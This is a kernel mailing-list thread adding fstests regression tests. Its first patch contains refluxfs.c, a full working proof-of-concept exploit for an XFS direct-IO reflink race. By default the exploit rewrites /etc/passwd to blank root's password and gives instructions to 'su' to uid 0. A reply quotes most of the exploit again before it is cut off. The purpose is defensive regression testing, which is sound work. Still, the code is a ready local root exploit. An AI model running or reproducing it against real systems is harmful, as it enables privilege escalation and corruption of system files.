* [PATCHSET] fstests: new tests for old features
@ 2026-09-28 15:36 Darrick J. Wong
2026-09-28 15:36 ` [PATCH 1/4] generic: regression test for refluxfs fixes Darrick J. Wong
` (3 more replies)
0 siblings, 4 replies; 11+ messages in thread
From: Darrick J. Wong @ 2026-09-28 15:36 UTC (permalink / raw)
To: zlang, djwong; +Cc: hch, qsa, aalbersh, linux-xfs, fstests
Hi all,
Here are some new tests for old features.
If you're going to start using this code, I strongly recommend pulling
from my git trees, which are linked below.
With a bit of luck, this should all go splendidly.
Comments and questions are, as always, welcome.
--D
fstests git tree:
https://git.kernel.org/cgit/linux/kernel/git/djwong/xfstests-dev.git/log/?h=new-tests
---
Commits in this patchset:
* generic: regression test for refluxfs fixes
* common/xfs: add zoned/rtstart info to mkfs filter output
* xfs: basic functional testing of media verification command
* xfs: test mkfs.xfs config file generation
---
.gitignore | 1
common/xfs | 3
src/Makefile | 2
src/refluxfs.c | 435 ++++++++++++++++++++++++++++++++++++++++++++++++
tests/generic/1956 | 58 ++++++
tests/generic/1956.out | 2
tests/xfs/1908 | 123 ++++++++++++++
tests/xfs/1908.out | 28 +++
tests/xfs/1909 | 163 ++++++++++++++++++
tests/xfs/1909.out | 2
10 files changed, 816 insertions(+), 1 deletion(-)
create mode 100644 src/refluxfs.c
create mode 100755 tests/generic/1956
create mode 100644 tests/generic/1956.out
create mode 100755 tests/xfs/1908
create mode 100644 tests/xfs/1908.out
create mode 100755 tests/xfs/1909
create mode 100644 tests/xfs/1909.out
^ permalink raw reply [flat|nested] 11+ messages in thread* [PATCH 1/4] generic: regression test for refluxfs fixes 2026-09-28 15:36 [PATCHSET] fstests: new tests for old features Darrick J. Wong @ 2026-09-28 15:36 ` Darrick J. Wong 2026-10-08 14:45 ` Zorro Lang 2026-09-28 15:36 ` [PATCH 2/4] common/xfs: add zoned/rtstart info to mkfs filter output Darrick J. Wong ` (2 subsequent siblings) 3 siblings, 1 reply; 11+ messages in thread From: Darrick J. Wong @ 2026-09-28 15:36 UTC (permalink / raw) To: zlang, djwong; +Cc: hch, qsa, linux-xfs, fstests From: Darrick J. Wong <djwong@kernel.org> Regression test for refluxfs as found by Qualys. Reported-by: qsa@qualys.com Co-developed-by: qsa@qualys.com Signed-off-by: "Darrick J. Wong" <djwong@kernel.org> Reviewed-by: Christoph Hellwig <hch@lst.de> --- .gitignore | 1 src/Makefile | 2 src/refluxfs.c | 435 ++++++++++++++++++++++++++++++++++++++++++++++++ tests/generic/1956 | 58 ++++++ tests/generic/1956.out | 2 5 files changed, 497 insertions(+), 1 deletion(-) create mode 100644 src/refluxfs.c create mode 100755 tests/generic/1956 create mode 100644 tests/generic/1956.out diff --git a/.gitignore b/.gitignore index d52ba4ad30852b..b5d85c9451f0a8 100644 --- a/.gitignore +++ b/.gitignore @@ -126,6 +126,7 @@ tags /src/pwrite_mmap_blocked /src/randholes /src/readdir-while-renames +/src/refluxfs /src/rename /src/renameat2 /src/resvtest diff --git a/src/Makefile b/src/Makefile index 0ff607ae15930d..04a73b76546241 100644 --- a/src/Makefile +++ b/src/Makefile @@ -36,7 +36,7 @@ LINUX_TARGETS = xfsctl bstat t_mtab getdevicesize preallo_rw_pattern_reader \ fscrypt-crypt-util bulkstat_null_ocount splice-test chprojid_fail \ detached_mounts_propagation ext4_resize t_readdir_3 splice2pipe \ uuid_ioctl t_snapshot_deleted_subvolume fiemap-fault min_dio_alignment \ - rw_hint btrfs_ioctl + rw_hint btrfs_ioctl refluxfs EXTRA_EXECS = dmerror fill2attr fill2fs fill2fs_check scaleread.sh \ btrfs_crc32c_forged_name.py popdir.pl popattr.py \ diff --git a/src/refluxfs.c b/src/refluxfs.c new file mode 100644 index 00000000000000..f2d4402a940a80 --- /dev/null +++ b/src/refluxfs.c @@ -0,0 +1,435 @@ +/* refluxfs.c -- RefluXFS PoC (CVE-2026-XXXXX) + * + * This PoC targets /etc/passwd (always world-readable, arch-independent, easy + * to verify and revert). It never opens the target for write; the corrupting + * DIO is issued against the attacker-owned CLONE, whose stale imap points at + * the target's block. Before racing, it saves a full BYTE-COPY backup of the + * target (read/write -- never reflink, so it takes no refcount on the block). + * On success it leaves /etc/passwd modified so you can `su` (empty password), + * confirm uid=0, and restore from the backup. + * + * Build: cc -O2 -pthread -o refluxfs refluxfs.c + * Run: ./refluxfs # zero-arg defaults; safe to Ctrl-C + * + * Exit: 0 vulnerable (race fired; target left modified, backup saved) + * 1 precondition unmet, or runtime error (with a specific reason) + * 2 race did not fire (budget exhausted or interrupted) + */ +#ifndef _GNU_SOURCE +#define _GNU_SOURCE +#endif +#include <stdio.h> +#include <stdlib.h> +#include <string.h> +#include <fcntl.h> +#include <pthread.h> +#include <unistd.h> +#include <errno.h> +#include <signal.h> +#include <stdarg.h> +#include <stdint.h> +#include <time.h> +#include <sys/ioctl.h> +#include <sys/utsname.h> +#include <sys/stat.h> +#include <sys/vfs.h> +#include <linux/fs.h> +#include <linux/magic.h> +#include <linux/fiemap.h> +#include <stdatomic.h> + +#ifndef FICLONE +#define FICLONE _IOW(0x94, 9, int) +#endif + +/* original PoC assumed 4k fsblocks, but use 64k to cover more fs geometries */ +#define BLK 65536 + +/* ---- configuration (overridable via CLI) --------------------------------- */ +static const char *target_path = "/etc/passwd"; +static const char *clone_dir = "/var/tmp"; +static int nr_writers = 32; +static int nr_pressure = 8; +static int budget_s = 300; + +/* ---- state --------------------------------------------------------------- */ +static char workdir[512], clone_path[600], backup_path[600]; +static int target_fd_ro = -1; +static unsigned char golden[BLK]; /* first block of target, verbatim */ +static ssize_t golden_len; /* == min(i_size, BLK) */ +static unsigned char *dio_buf; /* BLK-aligned; every writer pwrites */ +static int keep_backup; /* set on success; gates atexit() */ +static atomic_int sigint; /* set by handler; read only by main */ +static atomic_int stop; /* set by main; read by threads */ +static long rounds; +static pthread_barrier_t bar; + +/* ---- helpers ------------------------------------------------------------- */ +__attribute__((format(printf, 2, 3))) +static void say(const char *tag, const char *fmt, ...) +{ + va_list ap; va_start(ap, fmt); + fprintf(stderr, "[%s] ", tag); + vfprintf(stderr, fmt, ap); + fprintf(stderr, "\n"); + va_end(ap); +} +#define OK(...) say("+", __VA_ARGS__) +#define BAD(...) say("!", __VA_ARGS__) +#define INFO(...) say("*", __VA_ARGS__) + +static void die(int code, const char *why, const char *hint) +{ + BAD("%s: %s", why, strerror(errno)); + if (hint) INFO("%s", hint); + exit(code); +} + +static void on_signal(int sig) +{ + (void)sig; + atomic_store(&sigint, 1); +} + +/* Registered with atexit() as soon as workdir exists; runs on every exit + * path (die(), preflight refusal, timeout, success). Always removes clone + * and pressure files; removes backup + workdir unless the run succeeded. */ +static void cleanup(void) +{ + unlink(clone_path); + for (int i = 0; i < nr_pressure; i++) { + char p[600]; snprintf(p, sizeof p, "%s/press.%d", workdir, i); unlink(p); + } + if (!keep_backup) { + unlink(backup_path); + rmdir(workdir); + } +} + +/* ---- preflight ----------------------------------------------------------- */ + +static int same_fs(const char *a, const char *b) +{ + struct stat sa, sb; + if (stat(a, &sa) || stat(b, &sb)) return -1; + return sa.st_dev == sb.st_dev; +} + +/* FIEMAP: is the target's first extent already shared (refcount > 1)? + * If so the race can never see refcount==1. */ +static int target_first_extent_shared(void) +{ + union { + struct fiemap fm; + char raw[sizeof(struct fiemap) + sizeof(struct fiemap_extent)]; + } q; + memset(&q, 0, sizeof q); + q.fm.fm_length = BLK; + q.fm.fm_flags = FIEMAP_FLAG_SYNC; + q.fm.fm_extent_count = 1; + if (ioctl(target_fd_ro, FS_IOC_FIEMAP, &q) < 0) return -1; /* unknown */ + if (q.fm.fm_mapped_extents < 1) return -1; + return (q.fm.fm_extents[0].fe_flags & FIEMAP_EXTENT_SHARED) ? 1 : 0; +} + +static void preflight(void) +{ + struct stat st; + + /* 1. target readable */ + target_fd_ro = open(target_path, O_RDONLY); + if (target_fd_ro < 0) + die(1, "open target O_RDONLY", + "Target must be world-readable. /etc/passwd is on every distro."); + if (fstat(target_fd_ro, &st)) die(1, "fstat target", NULL); + golden_len = pread(target_fd_ro, golden, BLK, 0); + if (golden_len < 0) die(1, "read target", NULL); + OK("target %s: readable, %lld bytes (using first %zd)", + target_path, (long long)st.st_size, golden_len); + if (st.st_blksize != BLK) + INFO("note: st_blksize=%ld != %d -- this PoC assumes 4K fs blocks " + "and may false-negative otherwise.", (long)st.st_blksize, BLK); + + /* We only assume line 1 is `root:x:...` -- universal on shadow-using Linux. + * `root::...` means a previous run already emptied the password field. */ + if (golden_len >= 6 && !memcmp(golden, "root::", 6)) { + BAD("target line 1 already has an empty password field (root::)."); + INFO("A previous run left it modified. Restore first (as root, or `su`):"); + INFO(" dd if=%s/.refluxfs-%d-PID/target.orig of=%s", + clone_dir, (int)getuid(), target_path); + INFO("(ls -d %s/.refluxfs-%d-* to find the right PID directory;", + clone_dir, (int)getuid()); + INFO(" use dd -- cp, and recent coreutils cat, may reflink.)"); + exit(1); + } + if (golden_len < 8 || memcmp(golden, "root:x:", 7) || + !memchr(golden, '\n', golden_len)) { + BAD("target line 1 is not \"root:x:...\\n\" -- unexpected format."); + INFO("This PoC's payload assumes the standard shadow-backed root entry."); + INFO("Use -t to point at a different target or adjust the payload."); + exit(1); + } + + /* 3. clone_dir on the same superblock */ + if (access(clone_dir, W_OK)) die(1, "clone dir not writable", + "Need a writable directory on the SAME XFS filesystem as the target."); + int s = same_fs(target_path, clone_dir); + if (s < 0) die(1, "stat clone dir", NULL); + if (!s) { + BAD("clone dir %s is NOT on the same filesystem as %s (st_dev differs).", + clone_dir, target_path); + INFO("FICLONE returns -EXDEV across superblocks. Use -d with a writable"); + INFO("directory on the target's mount (findmnt -T %s).", target_path); + exit(1); + } + OK("clone dir %s: writable, same st_dev as target", clone_dir); + + /* 4. workdir */ + snprintf(workdir, sizeof workdir, "%s/.refluxfs-%d-%d", + clone_dir, (int)getuid(), (int)getpid()); + if (mkdir(workdir, 0700) && errno != EEXIST) + die(1, "mkdir workdir", NULL); + snprintf(clone_path, sizeof clone_path, "%s/clone", workdir); + snprintf(backup_path, sizeof backup_path, "%s/target.orig", workdir); + atexit(cleanup); /* every exit() from here on cleans workdir */ + + /* Full BYTE-COPY backup of target (read/write, never FICLONE/ + * copy_file_range -- must not take a refcount on the target's block). */ + { + int bfd = open(backup_path, O_WRONLY|O_CREAT|O_TRUNC, 0600); + if (bfd < 0) die(1, "open backup", NULL); + unsigned char buf[8192]; ssize_t n; off_t off = 0; + while ((n = pread(target_fd_ro, buf, sizeof buf, off)) > 0) { + if (write(bfd, buf, n) != n) die(1, "write backup", NULL); + off += n; + } + if (n < 0) die(1, "read target for backup", NULL); + fsync(bfd); close(bfd); + OK("workdir %s", workdir); + OK("backup %s (%lld bytes, byte-copy -- no reflink taken)", + backup_path, (long long)off); + } + + /* 5. abort if target's first extent is already shared (checked BEFORE we + * FICLONE ourselves and create a share). */ + int sh = target_first_extent_shared(); + if (sh == 1) { + BAD("target's first extent is ALREADY SHARED (FIEMAP_EXTENT_SHARED)."); + INFO("The race needs refcount(X) to drop to exactly 1; a pre-existing"); + INFO("reflink (e.g. `cp --reflink=auto` backup, coreutils >= 9.0 default)"); + INFO("keeps it >= 2 and the race can never fire. Reset primitive:"); + INFO(" chsh -s /usr/bin/bash"); + INFO(" (or `-s /bin/bash` if that says 'Shell not changed.'; on"); + INFO(" RHEL-family, chsh is in the optional util-linux-user pkg)"); + INFO("This rewrites /etc/passwd via rename(2) as a fresh unshared inode."); + exit(1); + } else if (sh == 0) { + OK("target's first extent is not pre-shared (refcount==1)"); + } else { + INFO("cannot determine sharing state via FIEMAP -- proceeding."); + } + + /* 6. FICLONE actually works (=> reflink=1) */ + int c = open(clone_path, O_RDWR|O_CREAT|O_TRUNC, 0600); + if (c < 0) die(1, "open clone", NULL); + if (ioctl(c, FICLONE, target_fd_ro) < 0) { + int e = errno; + BAD("FICLONE(clone <- target) failed: %s", strerror(e)); + if (e == EOPNOTSUPP) + INFO("This XFS was made with reflink=0 (xfsprogs < 5.1.0 or explicit)."); + else if (e == EXDEV) + INFO("Different filesystem after all -- pick another -d directory."); + close(c); + exit(1); + } + close(c); + OK("FICLONE works -- filesystem has reflink=1"); + + /* 7. O_DIRECT open + one aligned pwrite actually work. All writers share + * this one buffer -- payload never changes and pwrite() only reads it. */ + if ((errno = posix_memalign((void **)&dio_buf, BLK, BLK))) + die(1, "posix_memalign", NULL); + memset(dio_buf, 0, BLK); + c = open(clone_path, O_RDWR|O_DIRECT); + if (c < 0) die(1, "open clone O_DIRECT", + "O_DIRECT is required to reach xfs_direct_write_iomap_begin()."); + if (pwrite(c, dio_buf, BLK, 0) != BLK) + die(1, "O_DIRECT pwrite (alignment?)", + "This PoC assumes 4K DIO alignment (default on all target distros)."); + close(c); + OK("O_DIRECT open + %d-byte aligned pwrite work on clone", BLK); +} + +/* ---- race machinery ------------------------------------------------------ */ + +static int reclone(void) +{ + int c = open(clone_path, O_RDWR|O_CREAT|O_TRUNC, 0600); + if (c < 0) return -errno; + int r = ioctl(c, FICLONE, target_fd_ro) < 0 ? -errno : 0; + close(c); + return r; +} + +static int target_changed(void) +{ + unsigned char b[BLK] = {0}; + /* DIO landed on disk under a different address_space; drop the target's + * (stale, clean) cached page so we re-read from disk. */ + posix_fadvise(target_fd_ro, 0, 0, POSIX_FADV_DONTNEED); + ssize_t n = pread(target_fd_ro, b, golden_len, 0); + return n == golden_len && memcmp(b, golden, golden_len) != 0; +} + +static void *writer(void *arg) +{ + (void)arg; + for (;;) { + pthread_barrier_wait(&bar); /* start of round */ + if (atomic_load(&stop)) break; /* set only by main, only when + * every writer is parked here */ + int fd = open(clone_path, O_RDWR|O_DIRECT); + if (fd >= 0) { (void)!pwrite(fd, dio_buf, BLK, 0); close(fd); } + pthread_barrier_wait(&bar); /* end of round */ + } + return NULL; +} + +static void *pressure(void *arg) +{ + char p[600]; + snprintf(p, sizeof p, "%s/press.%d", workdir, (int)(intptr_t)arg); + int fd = open(p, O_RDWR|O_CREAT|O_TRUNC, 0600); + if (fd < 0) return NULL; + char b = 0; + while (!atomic_load(&stop)) { + /* return values irrelevant -- goal is XFS log traffic, not the data */ + (void)!pwrite(fd, &b, 1, 0); + (void)!ftruncate(fd, BLK); + fdatasync(fd); + (void)!ftruncate(fd, 0); + } + close(fd); + return NULL; +} + +/* ---- main ---------------------------------------------------------------- */ + +static void usage(const char *argv0) +{ + fprintf(stderr, + "usage: %s [-t target] [-d clone-dir] [-s seconds] [-w writers] [-p pressure]\n" + " -t target file (default /etc/passwd; line 1 must be root:x:...)\n" + " -d clone/work directory (default /var/tmp; must be writable, same XFS as -t)\n" + " -s budget in seconds (default 300)\n" + " -w concurrent DIO writers (default 32)\n" + " -p log-pressure threads (default 8)\n", + argv0); +} + +int main(int argc, char **argv) +{ + int opt; + while ((opt = getopt(argc, argv, "t:d:s:w:p:h")) != -1) switch (opt) { + case 't': target_path = optarg; break; + case 'd': clone_dir = optarg; break; + case 's': budget_s = atoi(optarg); if (budget_s < 1) budget_s = 1; break; + case 'w': nr_writers = atoi(optarg); if (nr_writers < 2) nr_writers = 2; break; + case 'p': nr_pressure = atoi(optarg); if (nr_pressure < 0) nr_pressure = 0; break; + default: usage(argv[0]); return 1; + } + + struct utsname un; + uname(&un); + INFO("RefluXFS PoC -- kernel %s", un.release); + + /* Install handlers BEFORE preflight so Ctrl-C after workdir/clone creation + * still reaches atexit(cleanup) instead of leaving a reflinked clone (which + * would keep the target's extent SHARED and defeat every later run). */ + signal(SIGINT, on_signal); + signal(SIGTERM, on_signal); + + preflight(); + + /* Payload: surgical edit of line 1 only. `root:x:...\n` -> `root::...\n\n`. + * Shift the byte range [6, nl] one position left over the `x`; the + * original `\n` at position nl is untouched, so we get two consecutive + * newlines and every byte from line 2 onward stays at its ORIGINAL + * offset -- correct for any file size, no entry straddles a boundary. */ + memcpy(dio_buf, golden, golden_len); + ssize_t nl = 0; + while (nl < golden_len && golden[nl] != '\n') nl++; + memmove(dio_buf + 5, dio_buf + 6, (size_t)nl - 5); /* nl>=7 by preflight */ + + /* threads */ + if ((errno = pthread_barrier_init(&bar, NULL, nr_writers + 1))) + die(1, "pthread_barrier_init", NULL); + pthread_t *tw = calloc(nr_writers, sizeof *tw); + pthread_t *tp = calloc(nr_pressure ? nr_pressure : 1, sizeof *tp); + if (!tw || !tp) { BAD("calloc: out of memory"); exit(1); } + for (int i = 0; i < nr_writers; i++) + if ((errno = pthread_create(&tw[i], NULL, writer, NULL))) + die(1, "pthread_create writer", NULL); + for (int i = 0; i < nr_pressure; i++) + if ((errno = pthread_create(&tp[i], NULL, pressure, (void*)(intptr_t)i))) + die(1, "pthread_create pressure", NULL); + + /* Race: reclone -> release all writers -> check target -> repeat. */ + INFO("racing: %d writers + %d log-pressure threads, up to %ds ...", + nr_writers, nr_pressure, budget_s); + struct timespec t0, t; clock_gettime(CLOCK_MONOTONIC, &t0); + int rc = 2, e; + while (!atomic_load(&sigint)) { + if ((e = reclone()) < 0) { + fprintf(stderr, "\n"); + BAD("reclone: %s", strerror(-e)); + rc = 1; break; + } + rounds++; + pthread_barrier_wait(&bar); /* release writers */ + pthread_barrier_wait(&bar); /* writers done */ + if (target_changed()) { rc = 0; break; } + clock_gettime(CLOCK_MONOTONIC, &t); + long el = t.tv_sec - t0.tv_sec; + if (el >= budget_s) break; + if ((rounds & 0xff) == 0) + fprintf(stderr, "\r round %ld (%lds, ~%ld r/s) ", + rounds, el, el ? rounds/el : rounds); + } + fprintf(stderr, "\n"); + + /* Shutdown. Every path out of the loop above leaves each writer either + * already at (or on its way to) the start-barrier -- the loop never breaks + * between the two barrier_wait()s, and writers only test `stop`, which is + * still 0. Set `stop` now, cross the start-barrier once to release them; + * they observe `stop` immediately after and exit without a second wait. */ + atomic_store(&stop, 1); + pthread_barrier_wait(&bar); + for (int i = 0; i < nr_writers; i++) pthread_join(tw[i], NULL); + for (int i = 0; i < nr_pressure; i++) pthread_join(tp[i], NULL); + free(tw); free(tp); + + if (rc == 0) { + keep_backup = 1; /* atexit(cleanup) leaves backup + workdir */ + char now[96] = {0}; + if (pread(target_fd_ro, now, sizeof now - 1, 0) > 0) + for (char *q = now; *q; q++) if (*q == '\n') { *q = 0; break; } + BAD("========================================================="); + BAD("VULNERABLE -- %s block 0 overwritten via stale-imap DIO", target_path); + BAD("first line is now: %s", now); + BAD("hit at round %ld", rounds); + BAD("========================================================="); + fprintf(stderr, "\n"); + INFO("Confirm: su (empty password -> `id` shows uid=0)"); + INFO("Restore: # dd if=%s of=%s", backup_path, target_path); + INFO(" (as root; dd is read/write. Do NOT use cp or cat: cp"); + INFO(" reflinks via FICLONE by default (>=9.0), and recent"); + INFO(" coreutils cat uses copy_file_range() which also"); + INFO(" reflinks -- either would leave the target SHARED.)"); + } else if (rc == 2) { + OK("race did not fire in %ld rounds.", rounds); + if (!atomic_load(&sigint)) + INFO("Kernel is likely PATCHED (or window too tight -- retry with larger -s / -w)."); + } + return rc; +} diff --git a/tests/generic/1956 b/tests/generic/1956 new file mode 100755 index 00000000000000..bc926e4685408e --- /dev/null +++ b/tests/generic/1956 @@ -0,0 +1,58 @@ +#! /bin/bash +# SPDX-License-Identifier: GPL-2.0 +# Copyright (c) 2026 Oracle. All Rights Reserved. +# +# FS QA Test No. 1956 +# +# Regression test for refluxfs, which is an exploit for a race condition in +# XFS' directio copy-on-write code that can be used to rewrite shared blocks +# to gain root privileges. +# +. ./common/preamble +_begin_fstest auto rw clone + +_cleanup() +{ + cd / + rm -r -f $tmp.* + test -n "$dummydir" && rm -r -f "$dummydir" +} + +. ./common/reflink + +_require_test_program "refluxfs" +_require_test_reflink +_require_odirect +_require_user fsgqa +_require_group fsgqa + +_fixed_by_fs_commit xfs 2f4acd0fcd862e \ + "xfs: resample the data fork mapping after cycling ILOCK" + +dummydir="$TEST_DIR/$seq" + +rm -r -f "$dummydir" +mkdir "$dummydir" + +fakedata="root:x:0:0:root:/root:/bin/bash" +echo "$fakedata" > $dummydir/datafile + +# Try to trick the system into letting a different user make a reflink copy of +# the data file and rewrite the shared data block to corrupt the contents. +mkdir $dummydir/workdir +chown $qa_user:$qa_group $dummydir/workdir +_su $qa_user -c "$here/src/refluxfs -t $dummydir/datafile -d $dummydir/workdir -s $((30 * TIME_FACTOR))" &>> $seqres.full +res=$? +case "$res" in +0) echo "vulnerable to corruption";; +1) echo "runtime error";; +2) echo "corruption not observed";; +*) echo "unknown outcome $res";; +esac + +result="$(cat $dummydir/datafile)" +test "$result" != "$fakedata" && \ + echo "shared data block rewritten, you have been pwned!" + +# success, all done +_exit 0 diff --git a/tests/generic/1956.out b/tests/generic/1956.out new file mode 100644 index 00000000000000..55d8be979b1486 --- /dev/null +++ b/tests/generic/1956.out @@ -0,0 +1,2 @@ +QA output created by 1956 +corruption not observed ^ permalink raw reply related [flat|nested] 11+ messages in thread
* Re: [PATCH 1/4] generic: regression test for refluxfs fixes 2026-09-28 15:36 ` [PATCH 1/4] generic: regression test for refluxfs fixes Darrick J. Wong @ 2026-10-08 14:45 ` Zorro Lang 0 siblings, 0 replies; 11+ messages in thread From: Zorro Lang @ 2026-10-08 14:45 UTC (permalink / raw) To: Darrick J. Wong; +Cc: hch, qsa, linux-xfs, fstests On Mon, Sep 28, 2026 at 08:36:11AM -0700, Darrick J. Wong wrote: > From: Darrick J. Wong <djwong@kernel.org> > > Regression test for refluxfs as found by Qualys. > > Reported-by: qsa@qualys.com > Co-developed-by: qsa@qualys.com > Signed-off-by: "Darrick J. Wong" <djwong@kernel.org> > Reviewed-by: Christoph Hellwig <hch@lst.de> > --- Thanks Darrick, this version is good to me! Reviewed-by: Zorro Lang <zlang@kernel.org> > .gitignore | 1 > src/Makefile | 2 > src/refluxfs.c | 435 ++++++++++++++++++++++++++++++++++++++++++++++++ > tests/generic/1956 | 58 ++++++ > tests/generic/1956.out | 2 > 5 files changed, 497 insertions(+), 1 deletion(-) > create mode 100644 src/refluxfs.c > create mode 100755 tests/generic/1956 > create mode 100644 tests/generic/1956.out > > > diff --git a/.gitignore b/.gitignore > index d52ba4ad30852b..b5d85c9451f0a8 100644 > --- a/.gitignore > +++ b/.gitignore > @@ -126,6 +126,7 @@ tags > /src/pwrite_mmap_blocked > /src/randholes > /src/readdir-while-renames > +/src/refluxfs > /src/rename > /src/renameat2 > /src/resvtest > diff --git a/src/Makefile b/src/Makefile > index 0ff607ae15930d..04a73b76546241 100644 > --- a/src/Makefile > +++ b/src/Makefile > @@ -36,7 +36,7 @@ LINUX_TARGETS = xfsctl bstat t_mtab getdevicesize preallo_rw_pattern_reader \ > fscrypt-crypt-util bulkstat_null_ocount splice-test chprojid_fail \ > detached_mounts_propagation ext4_resize t_readdir_3 splice2pipe \ > uuid_ioctl t_snapshot_deleted_subvolume fiemap-fault min_dio_alignment \ > - rw_hint btrfs_ioctl > + rw_hint btrfs_ioctl refluxfs > > EXTRA_EXECS = dmerror fill2attr fill2fs fill2fs_check scaleread.sh \ > btrfs_crc32c_forged_name.py popdir.pl popattr.py \ > diff --git a/src/refluxfs.c b/src/refluxfs.c > new file mode 100644 > index 00000000000000..f2d4402a940a80 > --- /dev/null > +++ b/src/refluxfs.c > @@ -0,0 +1,435 @@ > +/* refluxfs.c -- RefluXFS PoC (CVE-2026-XXXXX) > + * > + * This PoC targets /etc/passwd (always world-readable, arch-independent, easy > + * to verify and revert). It never opens the target for write; the corrupting > + * DIO is issued against the attacker-owned CLONE, whose stale imap points at > + * the target's block. Before racing, it saves a full BYTE-COPY backup of the > + * target (read/write -- never reflink, so it takes no refcount on the block). > + * On success it leaves /etc/passwd modified so you can `su` (empty password), > + * confirm uid=0, and restore from the backup. > + * > + * Build: cc -O2 -pthread -o refluxfs refluxfs.c > + * Run: ./refluxfs # zero-arg defaults; safe to Ctrl-C > + * > + * Exit: 0 vulnerable (race fired; target left modified, backup saved) > + * 1 precondition unmet, or runtime error (with a specific reason) > + * 2 race did not fire (budget exhausted or interrupted) > + */ > +#ifndef _GNU_SOURCE > +#define _GNU_SOURCE > +#endif > +#include <stdio.h> > +#include <stdlib.h> > +#include <string.h> > +#include <fcntl.h> > +#include <pthread.h> > +#include <unistd.h> > +#include <errno.h> > +#include <signal.h> > +#include <stdarg.h> > +#include <stdint.h> > +#include <time.h> > +#include <sys/ioctl.h> > +#include <sys/utsname.h> > +#include <sys/stat.h> > +#include <sys/vfs.h> > +#include <linux/fs.h> > +#include <linux/magic.h> > +#include <linux/fiemap.h> > +#include <stdatomic.h> > + > +#ifndef FICLONE > +#define FICLONE _IOW(0x94, 9, int) > +#endif > + > +/* original PoC assumed 4k fsblocks, but use 64k to cover more fs geometries */ > +#define BLK 65536 > + > +/* ---- configuration (overridable via CLI) --------------------------------- */ > +static const char *target_path = "/etc/passwd"; > +static const char *clone_dir = "/var/tmp"; > +static int nr_writers = 32; > +static int nr_pressure = 8; > +static int budget_s = 300; > + > +/* ---- state --------------------------------------------------------------- */ > +static char workdir[512], clone_path[600], backup_path[600]; > +static int target_fd_ro = -1; > +static unsigned char golden[BLK]; /* first block of target, verbatim */ > +static ssize_t golden_len; /* == min(i_size, BLK) */ > +static unsigned char *dio_buf; /* BLK-aligned; every writer pwrites */ > +static int keep_backup; /* set on success; gates atexit() */ > +static atomic_int sigint; /* set by handler; read only by main */ > +static atomic_int stop; /* set by main; read by threads */ > +static long rounds; > +static pthread_barrier_t bar; > + > +/* ---- helpers ------------------------------------------------------------- */ > +__attribute__((format(printf, 2, 3))) > +static void say(const char *tag, const char *fmt, ...) > +{ > + va_list ap; va_start(ap, fmt); > + fprintf(stderr, "[%s] ", tag); > + vfprintf(stderr, fmt, ap); > + fprintf(stderr, "\n"); > + va_end(ap); > +} > +#define OK(...) say("+", __VA_ARGS__) > +#define BAD(...) say("!", __VA_ARGS__) > +#define INFO(...) say("*", __VA_ARGS__) > + > +static void die(int code, const char *why, const char *hint) > +{ > + BAD("%s: %s", why, strerror(errno)); > + if (hint) INFO("%s", hint); > + exit(code); > +} > + > +static void on_signal(int sig) > +{ > + (void)sig; > + atomic_store(&sigint, 1); > +} > + > +/* Registered with atexit() as soon as workdir exists; runs on every exit > + * path (die(), preflight refusal, timeout, success). Always removes clone > + * and pressure files; removes backup + workdir unless the run succeeded. */ > +static void cleanup(void) > +{ > + unlink(clone_path); > + for (int i = 0; i < nr_pressure; i++) { > + char p[600]; snprintf(p, sizeof p, "%s/press.%d", workdir, i); unlink(p); > + } > + if (!keep_backup) { > + unlink(backup_path); > + rmdir(workdir); > + } > +} > + > +/* ---- preflight ----------------------------------------------------------- */ > + > +static int same_fs(const char *a, const char *b) > +{ > + struct stat sa, sb; > + if (stat(a, &sa) || stat(b, &sb)) return -1; > + return sa.st_dev == sb.st_dev; > +} > + > +/* FIEMAP: is the target's first extent already shared (refcount > 1)? > + * If so the race can never see refcount==1. */ > +static int target_first_extent_shared(void) > +{ > + union { > + struct fiemap fm; > + char raw[sizeof(struct fiemap) + sizeof(struct fiemap_extent)]; > + } q; > + memset(&q, 0, sizeof q); > + q.fm.fm_length = BLK; > + q.fm.fm_flags = FIEMAP_FLAG_SYNC; > + q.fm.fm_extent_count = 1; > + if (ioctl(target_fd_ro, FS_IOC_FIEMAP, &q) < 0) return -1; /* unknown */ > + if (q.fm.fm_mapped_extents < 1) return -1; > + return (q.fm.fm_extents[0].fe_flags & FIEMAP_EXTENT_SHARED) ? 1 : 0; > +} > + > +static void preflight(void) > +{ > + struct stat st; > + > + /* 1. target readable */ > + target_fd_ro = open(target_path, O_RDONLY); > + if (target_fd_ro < 0) > + die(1, "open target O_RDONLY", > + "Target must be world-readable. /etc/passwd is on every distro."); > + if (fstat(target_fd_ro, &st)) die(1, "fstat target", NULL); > + golden_len = pread(target_fd_ro, golden, BLK, 0); > + if (golden_len < 0) die(1, "read target", NULL); > + OK("target %s: readable, %lld bytes (using first %zd)", > + target_path, (long long)st.st_size, golden_len); > + if (st.st_blksize != BLK) > + INFO("note: st_blksize=%ld != %d -- this PoC assumes 4K fs blocks " > + "and may false-negative otherwise.", (long)st.st_blksize, BLK); > + > + /* We only assume line 1 is `root:x:...` -- universal on shadow-using Linux. > + * `root::...` means a previous run already emptied the password field. */ > + if (golden_len >= 6 && !memcmp(golden, "root::", 6)) { > + BAD("target line 1 already has an empty password field (root::)."); > + INFO("A previous run left it modified. Restore first (as root, or `su`):"); > + INFO(" dd if=%s/.refluxfs-%d-PID/target.orig of=%s", > + clone_dir, (int)getuid(), target_path); > + INFO("(ls -d %s/.refluxfs-%d-* to find the right PID directory;", > + clone_dir, (int)getuid()); > + INFO(" use dd -- cp, and recent coreutils cat, may reflink.)"); > + exit(1); > + } > + if (golden_len < 8 || memcmp(golden, "root:x:", 7) || > + !memchr(golden, '\n', golden_len)) { > + BAD("target line 1 is not \"root:x:...\\n\" -- unexpected format."); > + INFO("This PoC's payload assumes the standard shadow-backed root entry."); > + INFO("Use -t to point at a different target or adjust the payload."); > + exit(1); > + } > + > + /* 3. clone_dir on the same superblock */ > + if (access(clone_dir, W_OK)) die(1, "clone dir not writable", > + "Need a writable directory on the SAME XFS filesystem as the target."); > + int s = same_fs(target_path, clone_dir); > + if (s < 0) die(1, "stat clone dir", NULL); > + if (!s) { > + BAD("clone dir %s is NOT on the same filesystem as %s (st_dev differs).", > + clone_dir, target_path); > + INFO("FICLONE returns -EXDEV across superblocks. Use -d with a writable"); > + INFO("directory on the target's mount (findmnt -T %s).", target_path); > + exit(1); > + } > + OK("clone dir %s: writable, same st_dev as target", clone_dir); > + > + /* 4. workdir */ > + snprintf(workdir, sizeof workdir, "%s/.refluxfs-%d-%d", > + clone_dir, (int)getuid(), (int)getpid()); > + if (mkdir(workdir, 0700) && errno != 